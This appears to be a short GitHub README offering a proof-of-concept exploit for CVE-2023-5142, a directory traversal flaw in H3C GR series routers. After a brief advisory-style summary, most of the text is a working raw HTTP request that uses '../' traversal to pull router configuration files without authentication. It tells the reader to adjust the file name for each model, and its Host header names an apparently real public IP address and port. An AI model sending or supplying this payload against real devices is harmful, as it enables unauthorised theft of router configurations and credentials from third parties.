kuangxiaotu/cve-h3c-reportPoC exploit for CVE-2023-5142 targeting H3C GR series routers with an unauthenticated directory traversal vulnerability to extract sensitive configuration files.
Product: GR series router
version: all
rating: high-risk
website: http://www.h3c.com/
Hazards: Attackers can exploit this vulnerability to obtain sensitive information from routers by constructing special request packets to bypass identity verification.
principle: The router did not authenticate directory access and related files
exp:
Note: It is necessary to modify the file name suffix in POC, such as GR8300.cfg
GET /userLogin.asp/../actionpolicy_status/../GR1100-P.cfg HTTP/1.1
Host: 59.35.220.76:8989
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
image
image
image